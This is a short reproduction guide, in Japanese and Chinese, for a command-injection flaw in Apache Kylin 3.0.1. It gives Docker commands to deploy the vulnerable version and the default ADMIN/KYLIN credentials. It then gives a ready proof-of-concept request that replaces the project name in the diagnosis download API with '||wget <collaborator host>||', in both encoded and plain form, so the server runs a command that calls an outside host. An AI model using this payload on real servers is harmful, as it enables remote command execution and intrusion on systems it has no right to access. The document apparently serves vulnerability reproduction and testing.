参考 https://github.com/apache/kylin を使用し、dockerで環境をデプロイします。バージョンを3.0.1（脆弱性のあるバージョン）に変更します。【-m 8G \ 】はメモリサイズを割り当てるためのものなので、削除しても構いません。
その後 http://host:7070/kylin/login にアクセスします。初期ユーザー名とパスワードは ADMIN/KYLIN です。
docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1
原始请求：
http://host:port/kylin/api/diag/project/learn_kylin/download
PoC请求，GET方法：
http://host:port/kylin/api/diag/project/%7c%7cwget%20h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net%7c%7c/download
即将项目名称“learn_kylin”替换为如下payload访问即可：
||wget h1j96qoac5o9mbqpkewkhxxa218rwg.burpcollaborator.net||
System-Configuration-Diagnosis にアクセスします。診断情報のダウンロードをトリガーするリクエスト http://host:port/kylin/api/diag/project/learn_kylin/download
プロジェクト名「learn_kylin」を上記のペイロードに置き換えてアクセスするだけでよいです。
